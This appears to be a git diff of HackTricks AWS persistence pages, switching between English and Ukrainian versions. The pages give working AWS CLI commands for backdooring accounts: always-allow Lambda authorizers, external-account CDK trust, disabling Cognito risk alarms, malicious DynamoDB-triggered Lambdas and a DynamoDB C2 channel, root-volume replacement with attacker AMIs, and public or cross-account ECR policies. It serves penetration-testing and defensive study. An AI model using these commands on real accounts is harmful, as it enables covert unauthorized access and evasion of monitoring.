{{#endref}}
|
||||
|
||||
### Політика ресурсів
|
||||
|
||||
Змініть політику ресурсів API gateway(s), щоб надати собі доступ до них
|
||||
|
||||
### Змінити Lambda Authorizers
|
||||
|
||||
Змініть код Lambda authorizers, щоб надати собі доступ до всіх endpoints.\
|
||||
Або просто видаліть використання authorizer.
|
||||
|
||||
Якщо у вас є права control-plane для **створення/оновлення authorizer** (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) ви також можете **перенаправити authorizer на Lambda, яка завжди дозволяє**.
|
||||
|
||||
REST APIs (зміни зазвичай вимагають розгортання):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
REST_API_ID="<rest_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
|
||||
```
|
||||
HTTP APIs / `apigatewayv2` (зазвичай діє негайно):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
```
|
||||
### IAM Permissions
|
||||
|
||||
Якщо ресурс використовує IAM authorizer, ви можете надати собі доступ, змінивши IAM permissions.\
|
||||
Або просто припиніть використання authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
Якщо використовуються API keys, ви можете leak їх, щоб підтримувати доступ або навіть створити нові.\
|
||||
Або просто припиніть використання API keys.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
|
||||
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +0,0 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Для додаткової інформації дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
AWS CDK розгортає CFN стек під назвою `CDKToolkit`. Цей стек підтримує параметр `TrustedAccounts`, який дозволяє зовнішнім акаунтам розгортати CDK проєкти в обліковому записі жертви. Зловмисник може зловживати цим, щоб надати собі безстроковий доступ до облікового запису жертви, або використовуючи AWS cli для повторного розгортання стека з параметрами, або AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
|
||||
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
|
||||
|
||||
- **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Or to an **authenticated Identity Pool** if the attacker can login
|
||||
- Or **improve the permissions** of the given roles
|
||||
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
||||
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
||||
|
||||
Check how to do these actions in
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
By default this is disabled:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,40 +0,0 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Для більш детальної інформації перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
|
||||
Cognito — сервіс, який дозволяє надавати ролі неавторизованим та авторизованим користувачам і керувати каталогом користувачів. Кілька різних конфігурацій можна змінити, щоб забезпечити певну persistence, наприклад:
|
||||
|
||||
- **Adding a User Pool** який контролюється користувачем до Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Або до an **authenticated Identity Pool** якщо атакуючий може увійти
|
||||
- Або **improve the permissions** наданих ролей
|
||||
- **Create, verify & privesc** через користувачів з контрольованими атрибутами або нових користувачів у **User Pool**
|
||||
- **Allowing external Identity Providers** для входу в User Pool або в Identity Pool
|
||||
|
||||
Дізнайтеся, як виконувати ці дії в
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Зловмисник з цим привілеєм може змінити конфігурацію ризику, щоб мати можливість увійти як користувач Cognito **без спрацьовування тривог**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
За замовчуванням це вимкнено:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,67 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
|
||||
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,59 +0,0 @@
|
||||
# AWS - DynamoDB Персистентність
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Для отримання додаткової інформації дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB тригери з Lambda Backdoor
|
||||
|
||||
Використовуючи тригери DynamoDB, зловмисник може створити **stealthy backdoor**, асоціювавши зловмисну Lambda функцію з таблицею. Функція Lambda може запускатися, коли елемент додається, змінюється або видаляється, що дозволяє зловмиснику виконувати довільний код в межах облікового запису AWS.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Щоб підтримувати persistence, зловмисник може створювати або змінювати записи в таблиці DynamoDB, що запускатиме шкідливу Lambda-функцію. Це дозволяє зловмиснику виконувати code в обліковому записі AWS без прямої взаємодії з Lambda-функцією.
|
||||
|
||||
### DynamoDB як C2 Channel
|
||||
|
||||
Зловмисник може використовувати таблицю DynamoDB як **command and control (C2) channel**, створюючи записи з командами та використовуючи скомпрометовані інстанси або Lambda-функції для отримання та виконання цих команд.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Скомпрометовані instances або Lambda functions можуть періодично перевіряти C2 table на наявність нових команд, виконувати їх і за бажанням відправляти результати назад у таблицю. Це дозволяє зловмиснику підтримувати persistence і контроль над скомпрометованими ресурсами.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,58 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
|
||||
|
||||
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
|
||||
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring the **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
|
||||
### VPN
|
||||
|
||||
Create a VPN so the attacker will be able to connect directly through i to the VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,62 +0,0 @@
|
||||
# AWS - EC2 Персистентність
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Для детальнішої інформації дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
Якщо захисник виявить, що **EC2 instance було скомпрометовано**, він, ймовірно, спробує **ізолювати** **мережу** машини. Він може зробити це за допомогою явного **Deny NACL** (але NACLs впливають на всю підмережу), або **змінивши security group**, щоб не дозволяти **жодного вхідного або вихідного** трафіку.
|
||||
|
||||
Якщо атакував мав **reverse shell, що ініціювався з машини**, навіть якщо SG змінено так, що не дозволяє вхідний або вихідний трафік, **з'єднання не буде розірване через** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Цей сервіс дозволяє **планувати** **створення AMIs та snapshots** і навіть **ділитися ними з іншими акаунтами**.\
|
||||
Атакуючий може налаштувати **генерацію AMIs або snapshots** усіх образів або всіх томів **щотижня** і **ділитися ними зі своїм акаунтом**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
Можна планувати запуск instances щоденно, щотижнево або навіть щомісяця. Атакуючий може запускати машину з високими привілеями або цікавим доступом, до якої він зможе потрапити.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances є **дешевшими**, ніж звичайні instances. Атакуючий може запустити **невеликий spot fleet request на 5 років** (наприклад), з **автоматичним призначенням IP** та **user data**, яка надсилає атакуючому **коли spot instance стартує** і **IP-адресу**, та з **високопривілейованим IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Атакуючий може отримати доступ до instances і закласти в них бекдор:
|
||||
|
||||
- Використовуючи традиційний **rootkit**, наприклад
|
||||
- Додавши новий **public SSH key** (див. [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- Заклавши бекдор у **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Замінити кореневий EBS volume запущеного instance на той, що створений з AMI або snapshot, контрольованих атакуючим, використовуючи `CreateReplaceRootVolumeTask`. Instance зберігає свої ENIs, IPs та роль, фактично завантажуючись у шкідливий код, при цьому виглядаючи незміненим.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Створити VPN, щоб атакуючий міг підключатися безпосередньо до VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Створити peering connection між victim VPC та attacker VPC, щоб він міг отримати доступ до victim VPC.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,75 +0,0 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Зловживайте **ec2:CreateReplaceRootVolumeTask**, щоб замінити кореневий том EBS запущеного інстансу на том, відновлений з AMI або snapshot, контрольованого зловмисником. Інстанс автоматично перезавантажується і запускається з кореневою файловою системою, контрольованою зловмисником, при цьому зберігаються ENIs, приватні/публічні IP, приєднані не-кореневі томи та метадані інстансу/IAM роль.
|
||||
|
||||
## Вимоги
|
||||
- Цільовий інстанс є EBS-backed і запущений у тому самому регіоні.
|
||||
- Сумісний AMI або snapshot: та сама архітектура/віртуалізація/режим завантаження (та product codes, якщо є), що й цільовий інстанс.
|
||||
|
||||
## Попередні перевірки
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## Замінити root з AMI (рекомендовано)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
Альтернатива з використанням snapshot:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## Докази / Перевірка
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Очікується: ENI_ID та PRI_IP залишаються незмінними; ID кореневого тому змінюється з $ORIG_VOL на $NEW_VOL. Система завантажується із файловою системою з AMI/snapshot, контрольованого атакуючим.
|
||||
|
||||
## Примітки
|
||||
- API не вимагає від вас вручну зупиняти інстанс; EC2 організовує перезавантаження.
|
||||
- За замовчуванням замінений (старий) кореневий EBS том відключається та залишається в акаунті (DeleteReplacedRootVolume=false). Це можна використати для відкату або його потрібно видалити, щоб уникнути витрат.
|
||||
|
||||
## Відкат / Очищення
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,101 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,145 +0,0 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Для отримання додаткової інформації дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Прихований Docker-образ зі шкідливим кодом
|
||||
|
||||
Нападник може **завантажити Docker-образ, що містить шкідливий код**, до репозиторію ECR і використати його для підтримки persistence у цільовому обліковому записі AWS. Потім нападник може розгорнути шкідливий образ у різних сервісах облікового запису, таких як Amazon ECS або EKS, приховано.
|
||||
|
||||
### Політика репозиторію
|
||||
|
||||
Додайте політику до одного репозиторію, яка надає вам (або всім) доступ до репозиторію:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Зауважте, що ECR вимагає, щоб користувачі мали **дозвіл** робити виклики до **`ecr:GetAuthorizationToken`** API через IAM policy **перед тим як вони зможуть автентифікуватися** в реєстрі та виконувати push або pull будь-яких образів з будь-якого репозиторію Amazon ECR.
|
||||
|
||||
### Політика реєстру та реплікація між акаунтами
|
||||
|
||||
Можна автоматично реплікувати реєстр у зовнішньому акаунті, налаштувавши реплікацію між акаунтами, де потрібно **вказати зовнішній акаунт**, у який ви хочете реплікувати реєстр.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Спочатку потрібно надати зовнішньому акаунту доступ до реєстру за допомогою **політики реєстру**, наприклад:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
